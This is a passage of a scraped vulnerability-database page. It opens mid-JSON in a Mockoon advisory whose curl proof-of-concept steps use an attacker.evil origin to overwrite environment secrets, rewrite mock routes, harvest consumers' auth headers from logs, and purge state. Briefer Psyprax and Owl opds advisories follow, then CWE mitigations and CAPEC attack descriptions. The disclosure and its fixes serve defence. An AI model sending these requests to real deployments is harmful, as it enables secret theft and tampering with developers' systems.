\u0027{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-EXFIL-FROM-attacker.evil\"}\u0027\n{\"message\":\"Environment variable \u0027MOCKOON_API_KEY\u0027 has been set to \u0027sk-EXFIL-FROM-attacker.evil\u0027\"}\n```\n\nWildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.\n\n#### 5) Rewrite every mock route via unauth `PUT /environment`\n\n```\n$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{ ...full env JSON with route response rewritten to body \"ATTACKER_PWNED\",\n          statusCode 418, header X-Pwned: by-attacker.evil... }\u0027\n{\"message\":\"Environment updated\"}\n\n$ curl -s -i http://127.0.0.1:3100/users/99\nHTTP/1.1 418 I\u0027m a Teapot\nX-Pwned: by-attacker.evil\nContent-Type: application/json\n{\"id\":\"99\",\"name\":\"ATTACKER_PWNED\",\"role\":\"admin\",\"backdoor\":true}\n```\n\n#### 6) Read transaction logs / SSE stream \u2192 harvest consumer\u0027s auth headers\n\n```\n$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2\n```\n\nEach log entry includes consumer\u0027s `request.headers` (Authorization / Cookie / X-API-Key), `request.body`, `request.urlPath`, and the response served back \u2014 continuous info-disclosure of every API call the legitimate consumer makes against the mock. `GET /mockoon-admin/events` streams the same data live via SSE.\n\n#### 7) Purge state (DoS)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge\n{\"response\":\"Server has been reset to its initial state\"}\n```\n\n---\n\n## Impact\n\nIn typical local-dev mode (CVSS 8.8 High):\n\n- Secret read of every `MOCKOON_*` env var (API keys, JWT signing keys, OAuth client secrets).\n- Secret write to any `process.env` key \u2014 poison operator\u0027s secrets, swap AWS/SDK creds.\n- Runtime rewrite of every mock route\u0027s body / status / headers \u2192 downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).\n- Auth-token harvesting via transaction logs / SSE stream.\n- State purge / DoS.\n\nIn network-exposed deployment (CVSS 9.4 Critical):\n\n- All of the above without user interaction. The serverless wrapper hardcodes `enableAdminApi: true`; `mockoon/cli` Docker image inherits the same default and is commonly deployed in shared CI / staging environments.\n\n---\n\n## Suggested fix\n\n1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off `MOCKOON_ADMIN_TOKEN` env var, compared with `crypto.timingSafeEqual`.\n2. Stop sending `Access-Control-Allow-Origin: *` on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with `--admin-api-origin`.\n3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.\n4. Add a prefix check on the `setEnvVarHandler` matching the prepend behavior on the GET handler \u2014 reject any `key` that doesn\u0027t start with `envVarsPrefix`.\n5. Add `SECURITY.md` with disclosure instructions.\n6. Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in via flag.",
  "id": "GHSA-rqx4-3f6q-3x2v",
  "modified": "2026-09-11T22:04:42Z",
  "published": "2026-09-11T22:04:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59148"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/pull/2254"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mockoon/mockoon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
    },
    {
      "type": "WEB",
      "url": "https://mockoon.com/releases/9.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft"
}

GHSA-RR5J-HX3C-X5P5

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41
VLAI
Details

An issue was discovered in Psyprax before 3.2.2. The file %PROGRAMDATA%\Psyprax32\PPScreen.ini contains a hash for the lockscreen (aka screensaver) of the application. If that entry is removed, the lockscreen is no longer displayed and the app is no longer locked. All local users are able to modify that file.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-10553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-05T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Psyprax before 3.2.2. The file %PROGRAMDATA%\\Psyprax32\\PPScreen.ini contains a hash for the lockscreen (aka screensaver) of the application. If that entry is removed, the lockscreen is no longer displayed and the app is no longer locked. All local users are able to modify that file.",
  "id": "GHSA-rr5j-hx3c-x5p5",
  "modified": "2022-05-24T17:41:10Z",
  "published": "2022-05-24T17:41:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10553"
    },
    {
      "type": "WEB",
      "url": "https://www.x41-dsec.de/lab/advisories/x41-2020-002-psyprax"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RR5P-XFMQ-R2VX

Vulnerability from github – Published: 2026-02-20 18:31 – Updated: 2026-02-27 18:31
VLAI
Details

Incorrect Permission Assignment for Critical Resource in Owl opds 2.2.0.4 allows File Manipulation via a crafted network request.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.5 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-26101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-20T17:25:54Z",
    "severity": "HIGH"
  },
  "details": "Incorrect Permission Assignment for Critical Resource in Owl opds 2.2.0.4 allows File Manipulation via a crafted network request.",
  "id": "GHSA-rr5p-xfmq-r2vx",
  "modified": "2026-02-27T18:31:01Z",
  "published": "2026-02-20T18:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26101"
    },
    {
      "type": "WEB",
      "url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2026-26101"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Mitigation
Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Implementation Installation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

Mitigation
System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Mitigation
Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Mitigation
Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

Mitigation MIT-37
Operation System Configuration

Strategy: Environment Hardening

Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-122: Privilege Abuse

An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-206: Signing Malicious Code

The adversary extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the adversary has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the adversary to execute arbitrary code on the victim's computer. This differs from CAPEC-673, because the adversary is performing the code signing.

CAPEC-234: Hijacking a privileged process

An adversary gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-61: Session Fixation

The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

CAPEC-642: Replace Binaries

Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.

← Back to the CWE list